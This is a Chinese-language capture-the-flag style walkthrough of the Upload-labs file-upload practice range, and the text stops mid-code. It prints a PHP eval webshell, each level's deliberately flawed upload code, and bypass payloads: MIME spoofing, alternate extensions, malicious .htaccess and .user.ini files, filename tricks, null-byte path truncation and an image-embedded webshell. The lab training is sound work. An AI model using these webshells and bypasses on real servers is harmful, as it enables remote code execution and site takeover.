webshell
webshell管理工具
Upload-labs靶场实战
方法不唯一
WebShell 的内容部分都是:
1
|
<?php @eval($_POST["Lyrio"]);phpinfo();?>
|
phpinfo()
用来方便判断 WebShell 是否被执行
靶场的 php 版本为 5.2.17
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
function checkFile() {
var file = document.getElementsByName('upload_file')[0].value;
if (file == null || file == "") {
alert("请选择要上传的文件!");
return false;
}
//定义允许上传的文件类型
var allow_ext = ".jpg|.png|.gif";
//提取上传文件的类型
var ext_name = file.substring(file.lastIndexOf("."));
//判断上传文件类型是否允许上传
if (allow_ext.indexOf(ext_name + "|") == -1) {
var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
alert(errMsg);
return false;
}
}
|
绕过前端验证:
方法一:删除文件提交时触发的检测函数
方法二:先将木马改成.jpg
,开启BurpSuite抓包,上传文件,将抓到的请求包里的文件后缀名改成.php
访问 WebShell 地址,phpinfo()
代码被执行,说明 WebShell 被成功解析:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
|
<?php
$is_upload = false;
$msg = null;
// 检查是否提交了表单
if (isset($_POST['submit'])) {
// 检查上传文件是否为图片类型(jpeg、png、gif)
if (file_exists(UPLOAD_PATH)) {// 检查上传目录是否存在
// 使用文件类型检查,确保只接受指定的图像类型(白名单)
if (
($_FILES['upload_file']['type'] == 'image/jpeg') ||
($_FILES['upload_file']['type'] == 'image/png') ||
($_FILES['upload_file']['type'] == 'image/gif')
) {
// 获取临时文件路径和目标图片路径
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name'];
// 移动上传文件到目标路径
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
// 上传出错时的错误消息
$msg = '上传出错!';
}
} else {
// 文件类型不正确时的错误消息
$msg = '文件类型不正确,请重新上传!';
}
} else {
// 上传目录不存在时的错误消息
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
?>
|
MIME 绕过:开启抓包,上传文件,将Content-Type: application/octet-stream
改成Content-Type:image/jpeg
![](https://pic.imgdb.cn/item/64c9e5391ddac507ccbc5827.jpg)
常见的 Content-Type :
image/jpeg
:jpg 图片格式
image/png
:png 图片格式
image/gif
:gif 图片格式
text/plain
:纯文本格式
text/xml
:XML 格式
text/html
:HTML 格式
访问 WebShell 地址,phpinfo()
代码被执行,说明 WebShell 被成功解析:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
|
<?php
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) { // 检查是否提交了表单
if (file_exists(UPLOAD_PATH)) { // 检查上传路径是否存在
$deny_ext = array('.asp','.aspx','.php','.jsp'); // 定义不允许上传的文件后缀数组
$file_name = trim($_FILES['upload_file']['name']); // 获取上传文件的原始文件名
$file_name = deldot($file_name); // 删除文件名末尾的点
$file_ext = strrchr($file_name, '.'); // 获取文件扩展名(包含点)
$file_ext = strtolower($file_ext); // 将扩展名转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext); // 去除字符串::$DATA
$file_ext = trim($file_ext); // 首尾去空
if (!in_array($file_ext, $deny_ext)) { // 检查文件扩展名是否在不允许上传的列表中
$temp_file = $_FILES['upload_file']['tmp_name']; // 获取临时文件路径
$img_path = UPLOAD_PATH . '/' . date("YmdHis") . rand(1000, 9999) . $file_ext; // 生成目标文件路径
if (move_uploaded_file($temp_file, $img_path)) { // 移动上传文件到目标路径
$is_upload = true; // 标记上传成功
} else {
$msg = '上传出错!'; // 上传出错时的错误消息
}
} else {
$msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!'; // 文件后缀不允许上传时的错误消息
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!'; // 上传目录不存在时的错误消息
}
}
// 删除文件名末尾的点的函数
function deldot($str) {
$str = rtrim($str, '.'); // 删除右侧的点
return $str;
}
?>
|
黑名单只过滤了.asp
、.aspx
、.php
、.jsp
,将文件的拓展名改成等价拓展名再上传
前提条件:
Apache服务器配置文件httpd.conf
中存在:AddType application/x-httpd-php .php .phtml .phps .php5 .php3 .php2
此配置的意思:服务器会将这些扩展名的文件视当作 php 解析
常见的等价拓展名:
- asp => asa、cer、cdx
- aspx => ashx、asmx、ascx
- php => php2、php3、php4、php5、phps、phtml
- jsp => jspx、jspf
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
|
$is_upload = false;
$msg = null;
// 检查是否提交了表单
if (isset($_POST['submit'])) {
// 检查 UPLOAD_PATH 目录是否存在
if (file_exists(UPLOAD_PATH)) {
// 不允许上传的文件扩展名数组
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",
".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",
".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",
".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",
".aShx",".aSmx",".cEr",".sWf",".swf",".ini");
// 获取上传文件的原始名称并删除末尾的点
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);
// 获取文件扩展名并转换为小写
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext);
// 去除字符串::$DATA
$file_ext = str_ireplace('::$DATA', '', $file_ext);
// 去除首尾空格
$file_ext = trim($file_ext);
// 检查文件扩展名是否在不允许的列表中
if (!in_array($file_ext, $deny_ext)) {
// 获取临时文件路径
$temp_file = $_FILES['upload_file']['tmp_name'];
// 设置上传后的文件路径
$img_path = UPLOAD_PATH.'/'.$file_name;
// 尝试移动上传的文件到目标路径
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
|
上传一个 .htaccess
解析文件,利用其配置,将某个白名单文件的类型解析成 php 文件类型
例如将 WebShell 改成 jpg 格式上传
创建一个.htaccess
文件,内容如下:
1
2
3
|
<FilesMatch "1.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
|
这个.htaccess
文件会让 Apache 服务器将 shell.jpg 当作 php 执行
将 .htaccess 文件上传到服务器,访问 shell.jpg :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
|
<?php
$is_upload = false;
$msg = null;
// 检查是否提交了表单
if (isset($_POST['submit'])) {
// 检查目标文件夹(UPLOAD_PATH)是否存在
if (file_exists(UPLOAD_PATH)) {
// 不允许上传的文件扩展名数组
$deny_ext = array(".php", ".php5", ".php4", ".php3", ".php2", ".html", ".htm", ".phtml", ".pht", ".pHp", ".pHp5", ".pHp4", ".pHp3", ".pHp2", ".Html", ".Htm", ".pHtml", ".jsp", ".jspa", ".jspx", ".jsw", ".jsv", ".jspf", ".jtml", ".jSp", ".jSpx", ".jSpa", ".jSw", ".jSv", ".jSpf", ".jHtml", ".asp", ".aspx", ".asa", ".asax", ".ascx", ".ashx", ".asmx", ".cer", ".aSp", ".aSpx", ".aSa", ".aSax", ".aScx", ".aShx", ".aSmx", ".cEr", ".sWf", ".swf", ".htaccess");
// 获取上传文件的名称并进行清理
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name); // 删除文件名末尾的点
// 获取文件扩展名,转换为小写,并移除特定字符串 '::DATA'
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext);
$file_ext = str_ireplace('::$DATA', '', $file_ext);
$file_ext = trim($file_ext); // 删除首尾空格
// 检查文件扩展名是否不在被拒绝的扩展名列表中
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name']; // 临时文件路径
$img_path = UPLOAD_PATH . '/' . $file_name; // 上传文件的目标路径
// 尝试将上传的文件移动到指定目标
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true; // 设置上传标志为true
} else {
$msg = '上传出错!'; // 如果移动操作失败,则显示错误消息
}
} else {
$msg = '此文件类型不允许上传!'; // 显示被拒绝文件类型的消息
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!'; // 如果目标文件夹不存在,则显示消息
}
}
// 用于删除文件名末尾点的函数
function deldot($filename)
{
return preg_replace('/\.{2,}/', '', $filename);
}
?>
|
大小写,转换,空格,还有点号,正常的php类文件上传不了了,并且拒绝上传 .htaccess 文件
发现没有被限制的后缀名有 .php7
以及 .ini
上传一个 .user.ini
配置文件,利用其配置,使每个 php 文件执行之前自动包含 WebShell
前提条件:
- php 版本 > 5.3.0
- 文件上传的目录中需要有 php 文件
先上传个 jpg 后缀的 WebShell ,再上传个.user.ini
。
.user.ini
的内容:
1
2
|
auto_prepend_file=shell.jpg
#将 shell.jpg 包含在所有 php 文件的头部
|
或者:
1
2
|
auto_append_file=shell.jpg
#将 shell.jpg 包含在所有 php 文件的尾部
|
这意味着在每个 php 文件执行之前都会自动包含名为 shell.jpg 的文件
php.ini
是 php 的系统配置文件,是全局配置文件,对整个 web 服务都起作用
.user.ini
是 php 的系统配置文件,是局部配置文件,只对该文件所处目录及其子目录下的文件起作用
如果换成 php 5.3.29 版本后上传不了文件,就先换回 5.2.17 上传 shell.jpg 和 .user.ini
,再换到 5.3.29
访问 upload 目录下原本就存在的 readme.php
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
|
<?php
$is_upload = false;
$msg = null;
// 检查是否提交了表单
if (isset($_POST['submit'])) {
// 检查存放上传文件的目录是否存在
if (file_exists(UPLOAD_PATH)) {
// 不允许上传的文件扩展名数组
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
// 获取上传文件的名称并进行清理
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name); // 删除文件名末尾的点
// 获取文件扩展名,转换为小写,并去除字符串::$DATA
$file_ext = strrchr($file_name, '.');
$file_ext = str_ireplace('::$DATA', '', $file_ext);
$file_ext = trim($file_ext); // 去除首尾空格
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
// 构建上传文件的路径,包括当前日期时间和随机数
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
// 尝试将上传的文件移动到指定目标
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true; // 设置上传标志为true
} else {
$msg = '上传出错!'; // 如果移动操作失败,则显示错误消息
}
} else {
$msg = '此文件类型不允许上传!'; // 显示被拒绝文件类型的消息
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!'; // 如果目标文件夹不存在,则显示消息
}
}
// 用于删除文件名末尾点的函数
function deldot($filename)
{
return preg_replace('/\.{2,}/', '', $filename);
}
?>
|
缺少大小写转换,将 shell.php
改成 shell.PHP
。
Windows 系统下,对于文件名中的大小写不敏感。而这次的检测代码对大小写是敏感的,从而绕过
Linux 系统下,对于文件名中的大小写敏感。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
|
<?php
$is_upload = false;
$msg = null;
// 检查是否提交了表单
if (isset($_POST['submit'])) {
// 检查存放上传文件的目录是否存在
if (file_exists(UPLOAD_PATH)) {
// 不允许上传的文件扩展名数组
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
// 获取上传文件的名称并进行清理
$file_name = $_FILES['upload_file']['name'];
$file_name = deldot($file_name); // 删除文件名末尾的点
// 获取文件扩展名,转换为小写,并去除字符串::$DATA
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext);
$file_ext = str_ireplace('::$DATA', '', $file_ext);
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
// 构建上传文件的路径,包括当前日期时间和随机数
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
// 尝试将上传的文件移动到指定目标
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true; // 设置上传标志为true
} else {
$msg = '上传出错!'; // 如果移动操作失败,则显示错误消息
}
} else {
$msg = '此文件不允许上传'; // 显示被拒绝文件类型的消息
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!'; // 如果目标文件夹不存在,则显示消息
}
}
// 用于删除文件名末尾点的函数
function deldot($filename)
{
return preg_replace('/\.{2,}/', '', $filename);
}
?>
|
对上传的文件名未做去空格的操作。
上传 shell.php
,BurpSuite 抓包,在文件拓展名最后加上空格。
Windows 系统下,对于文件名中空格会被作为空处理,但程序中的检测代码却不能自动删除 空格。从而绕过黑名单。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
|
<?php
$is_upload = false;
$msg = null;
// 检查是否提交了表单
if (isset($_POST['submit'])) {
// 检查存放上传文件的目录是否存在
if (file_exists(UPLOAD_PATH)) {
// 不允许上传的文件扩展名数组
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
// 获取上传文件的名称并进行清理
$file_name = trim($_FILES['upload_file']['name']);
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); // 转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext); // 去除字符串::$DATA
$file_ext = trim($file_ext); // 首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
// 尝试将上传的文件移动到指定目标
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true; // 设置上传标志为true
} else {
$msg = '上传出错!'; // 如果移动操作失败,则显示错误消息
}
} else {
$msg = '此文件类型不允许上传!'; // 显示被拒绝文件类型的消息
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!'; // 如果目标文件夹不存在,则显示消息
}
}
?>
|
Windows 系统下,文件后缀名最后一个点会被自动去除,但是这关的代码没有处理文件后缀名最后一个点,所以可以重命名为shell.php.
来绕过检测
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
|
<?php
$is_upload = false; // 上传标志,用于追踪文件是否成功上传
$msg = null; // 上传状态消息,用于指示上传的状态
// 检查是否提交了表单
if (isset($_POST['submit'])) {
// 检查目标文件夹(UPLOAD_PATH)是否存在
if (file_exists(UPLOAD_PATH)) {
// 不允许上传的文件扩展名数组
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
// 获取上传文件的名称并进行清理
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name); // 删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); // 转换为小写
$file_ext = trim($file_ext); // 首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
// 构建上传文件的路径,包括当前日期时间和随机数
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
// 尝试将上传的文件移动到指定目标
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true; // 设置上传标志为true
} else {
$msg = '上传出错!'; // 如果移动操作失败,则显示错误消息
}
} else {
$msg = '此文件类型不允许上传!'; // 显示被拒绝文件类型的消息
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!'; // 如果目标文件夹不存在,则显示消息
}
}
// 用于删除文件名末尾点的函数
function deldot($filename)
{
return preg_replace('/\.{2,}/', '', $filename);
}
?>
|
对上传的文件后缀名未做去除::$DATA
处理
Windows 系统下,如果上传的文件名为 shell.php::$DATA
会在服务器上生成一个 shell.php
的文件,其中内容和所上传文件内容相同,并被解析
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
|
<?php
$is_upload = false;
$msg = null;
// 检查是否提交了表单
if (isset($_POST['submit'])) {
// 检查上传目录是否存在
if (file_exists(UPLOAD_PATH)) {
// 定义不允许上传的文件扩展名数组
$deny_ext = array(".php", ".php5", ".php4", ".php3", ".php2", ".html", ".htm", ".phtml", ".pht", ".pHp", ".pHp5", ".pHp4", ".pHp3", ".pHp2", ".Html", ".Htm", ".pHtml", ".jsp", ".jspa", ".jspx", ".jsw", ".jsv", ".jspf", ".jtml", ".jSp", ".jSpx", ".jSpa", ".jSw", ".jSv", ".jSpf", ".jHtml", ".asp", ".aspx", ".asa", ".asax", ".ascx", ".ashx", ".asmx", ".cer", ".aSp", ".aSpx", ".aSa", ".aSax", ".aScx", ".aShx", ".aSmx", ".cEr", ".sWf", ".swf", ".htaccess", ".ini");
// 获取上传文件的原始名称并进行处理
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name); // 删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); // 转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext); // 去除字符串::$DATA
$file_ext = trim($file_ext); // 首尾去空
// 检查文件扩展名是否在不允许上传的列表中
if (!in_array($file_ext, $deny_ext)) {
// 获取临时文件路径和构建目标文件路径
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
// 尝试将上传的文件移动到指定目标
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true; // 上传成功,设置标志为 true
} else {
$msg = '上传出错!'; // 如果移动操作失败,则显示错误消息
}
} else {
$msg = '此文件类型不允许上传!'; // 显示被拒绝文件类型的消息
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!'; // 如果目标文件夹不存在,则显示消息
}
}
// 用于删除文件名末尾点的函数
function deldot($filename)
{
return preg_replace('/\.{2,}/', '', $filename);
}
?>
|
因为代码是先删一个(点)
再删一个(空格)
然后再拿文件后缀名去黑名单里比较,所以可以将 shell.php
重命名为 shell.php. .
这样在上传后等到和黑名单比较时文件名为 shell.php.
,绕过黑名单,上传到目录后自动去除最后的.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
|
<?php
$is_upload = false;
$msg = null;
// 检查是否提交了表单
if (isset($_POST['submit'])) {
// 检查上传目录是否存在
if (file_exists(UPLOAD_PATH)) {
// 定义不允许上传的文件扩展名数组
$deny_ext = array("php", "php5", "php4", "php3", "php2", "html", "htm", "phtml", "pht", "jsp", "jspa", "jspx", "jsw", "jsv", "jspf", "jtml", "asp", "aspx", "asa", "asax", "ascx", "ashx", "asmx", "cer", "swf", "htaccess", "ini");
// 获取上传文件的原始名称并进行处理
$file_name = trim($_FILES['upload_file']['name']);
$file_name = str_ireplace($deny_ext, "", $file_name);
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
// 尝试将上传的文件移动到指定目标
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true; // 上传成功,设置标志为 true
} else {
$msg = '上传出错!'; // 如果移动操作失败,则显示错误消息
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!'; // 如果目标文件夹不存在,则显示消息
}
}
?>
|
代码利用 str_ireplace()
将文件名中符合黑名单的字符串替换成空。
将 shell.php
重命名为 shell.pphphp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
|
<?php
$is_upload = false;
$msg = null;
// 检查是否提交了表单
if (isset($_POST['submit'])) {
$ext_arr = array('jpg', 'png', 'gif'); // 允许上传的文件扩展名数组
// 获取上传文件的扩展名
$file_ext = substr($_FILES['upload_file']['name'], strrpos($_FILES['upload_file']['name'], ".") + 1);
// 检查文件扩展名是否在允许的列表中
if (in_array($file_ext, $ext_arr)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_GET['save_path'] . "/" . rand(10, 99) . date("YmdHis") . "." . $file_ext;
// 尝试将上传的文件移动到指定目标
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true; // 上传成功,设置标志为 true
} else {
$msg = '上传出错!'; // 如果移动操作失败,则显示错误消息
}
} else {
$msg = "只允许上传.jpg|.png|.gif类型文件!"; // 显示不允许上传的文件类型消息
}
}
?>
|
代码使用白名单限制上传文件类型,但上传文件的存放路径可控
利用方法:抓包,设置上传路径为 upload/shell.php%00
,上传文件为 shell.jpg
,保存后为 /upload/shell.php%00shell.jpg
,但服务端读取到%00
时会自动结束,将文件内容保存至 shell.php
中。
前提:
- php 版本要小于 5.3.4 。
- 文件路径可控。
- 在
php.ini
中的 magic_quotes_gpc
需要为Off状态。(关闭魔术引号)
%00
为 Unicode 形式的截断符,用于 GET 型控制路径。 0x00
为 16 进制的截断符,用于 POST 型控制路径
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
|
<?php
$is_upload = false;
$msg = null;
// 检查是否提交了表单
if (isset($_POST['submit'])) {
$ext_arr = array('jpg', 'png', 'gif'); // 允许上传的文件扩展名数组
// 获取上传文件的扩展名
$file_ext = substr($_FILES['upload_file']['name'], strrpos($_FILES['upload_file']['name'], ".") + 1);
// 检查文件扩展名是否在允许的列表中
if (in_array($file_ext, $ext_arr)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_POST['save_path'] . "/" . rand(10, 99) . date("YmdHis") . "." . $file_ext;
// 尝试将上传的文件移动到指定目标
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true; // 上传成功,设置标志为 true
} else {
$msg = "上传失败"; // 如果移动操作失败,则显示错误消息
}
} else {
$msg = "只允许上传.jpg|.png|.gif类型文件!"; // 显示不允许上传的文件类型消息
}
}
?>
|
与上一关类似,不同的是通过POST请求来控制路径。
POST请求添加截断字符的方法:
- 先在路径
upload/shell.php
后面打个 +
=> upload/shell.php+
- 将包的内容转成16进制(选择 Hex )
- 找到
+
的位置( +
的16进制是 2b
)
- 将
2b
改成 00
(替换成截断字符)
其他的做法跟上一关基本一致。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
|
<?php
function getReailFileType($filename){
// 以二进制只读方式打开文件
$file = fopen($filename, "rb");
// 读取文件的前两个字节
$bin = fread($file, 2);
// 关闭文件句柄
fclose($file);
// 将字节解包成无符号字符数组
$strInfo = @unpack("C2chars", $bin);
// 将字符数组转换为整数,得到文件类型码
$typeCode = intval($strInfo['chars1'].$strInfo['chars2']);
// 初始化文件类型为空字符串
$fileType = '';
// 根据文件类型码判断文件类型
switch($typeCode){
case 255216:
$fileType = 'jpg';
break;
case 13780:
$fileType = 'png';
break;
case 7173:
$fileType = 'gif';
break;
default:
$fileType = 'unknown';
}
// 返回文件类型
return $fileType;
}
$is_upload = false;
$msg = null;
// 检查是否提交了表单
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
// 获取上传文件的实际类型
$file_type = getReailFileType($temp_file);
// 检查文件类型是否为未知
if($file_type == 'unknown'){
$msg = "文件未知,上传失败!"; // 显示未知文件类型的消息
} else {
// 构建上传目标路径,包含随机数、日期和文件类型
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
// 尝试将上传的文件移动到指定目标
if(move_uploaded_file($temp_file, $img_path)){
$is_upload = true; // 上传成功,设置标志为 true
} else {
$msg = "上传出错!"; // 如果移动操作失败,则显示错误消息
}
}
}
?>
|
代码通过读文件的前 2 个字节,检测上传文件二进制的头信息,判断文件类型。
利用图片马绕过检测。
图片马制作:
在 cmd 里执行 copy 1.jpg/b+shell.php/a shell.jpg
- 1.jpg 为任意图片
- shell.php 为我们要插入的木马代码
- shell.jpg 为我们要创建的图片马
要利用图片马必须要用到文件包含漏洞
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
|
<?php
// 定义函数用于检测文件是否为图像类型
function isImage($filename){
$types = '.jpeg|.png|.gif'; // 允许的图像文件扩展名
if(file_exists($filename)){
// 获取图像文件的信息
$info = getimagesize($filename);
// 将图像文件信息中的图像类型转换为文件扩展名
$ext = image_type_to_extension($info[2]);
// 检查图像文件扩展名是否在允许的列表中
if(stripos($types, $ext) !== false){
return $ext; // 如果是允许的图像类型,返回文件扩展名
} else {
return false; // 如果不在允许的图像类型列表中,返回 false
}
} else {
return false; // 如果文件不存在,返回 false
}
}
$is_upload = false;
$msg = null;
// 检查是否提交了表单
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
// 调用 isImage 函数检测文件是否为图像类型
$res = isImage($temp_file);
// 如果不是图像类型,显示错误消息
if(!$res){
$msg = "文件未知,上传失败!";
} else {
// 构建上传目标路径,包含随机数、日期和图像文件扩展名
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res;
// 尝试将上传的文件移动到指定目标
if(move_uploaded_file($temp_file, $img_path)){
$is_upload = true; // 上传成功,设置标志为 true
} else {
$msg = "上传出错!"; // 如果移动操作失败,则显示错误消息
}
}
}
?>
|
代码通过 getimagesize()
获取上传文件信息。
利用图片马绕过检测
getimagesize()
用于获取图像大小及相关信息,成功则返回一个数组
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
|
<?php
// 定义函数用于检测文件是否为图像类型
function isImage($filename){
// 使用 exif_imagetype 函数获取图像类型
$image_type = exif_imagetype($filename);
// 根据图像类型返回对应的图像文件扩展名
switch ($image_type) {
case IMAGETYPE_GIF:
return "gif";
break;
case IMAGETYPE_JPEG:
return "jpg";
break;
case IMAGETYPE_PNG:
return "png";
break;
default:
return false; // 如果不是支持的图像类型,返回 false
break;
}
}
$is_upload = false;
$msg = null;
// 检查是否提交了表单
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
// 调用 isImage 函数检测文件是否为图像类型
$res = isImage($temp_file);
// 如果不是图像类型,显示错误消息
if(!$res){
$msg = "文件未知,上传失败!";
}else{
// 构建上传目标路径,包含随机数、日期和图像文件扩展名
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$res;
// 尝试将上传的文件移动到指定目标
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true; // 上传成功,设置标志为 true
} else {
$msg = "上传出错!"; // 如果移动操作失败,则显示错误消息
}
}
}
?>
|
代码利用 php 内置函数exif_imagetype()
读取一个图像的第一个字节并检查其后缀名(需要开启
php_exif
模块)
利用图片马绕过检测
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
|
<?php
$is_upload = false;
$msg = null;
// 检查是否提交了表单
if (isset($_POST['submit'])){
// 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
$filename = $_FILES['upload_file']['name'];
